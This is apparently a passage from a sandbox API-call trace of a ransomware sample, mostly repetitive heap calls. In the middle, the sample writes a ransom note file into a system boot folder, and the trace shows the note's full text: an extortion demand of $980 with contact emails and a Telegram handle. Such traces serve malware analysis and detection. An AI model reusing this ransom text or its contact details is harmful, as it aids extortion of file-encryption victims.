(HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.532] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.532] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.533] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.533] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.534] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.534] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.534] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.534] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.534] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0112.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.534] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.534] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.534] PathFindFileNameW (pszPath="") returned="" [0112.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba468 [0112.534] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.534] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x331d740 [0112.534] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.534] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x3306648 [0112.535] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.535] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.535] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0112.535] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.535] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.535] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0112.535] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x7d00) returned 0x331f120 [0112.535] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.536] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.536] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3307758 [0112.536] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.536] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.536] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.536] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.536] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.536] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.536] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.536] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.536] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.536] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.536] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.536] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba300 [0112.536] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.536] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.536] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.537] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.537] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.538] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.538] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.538] RtlAllocateHeap 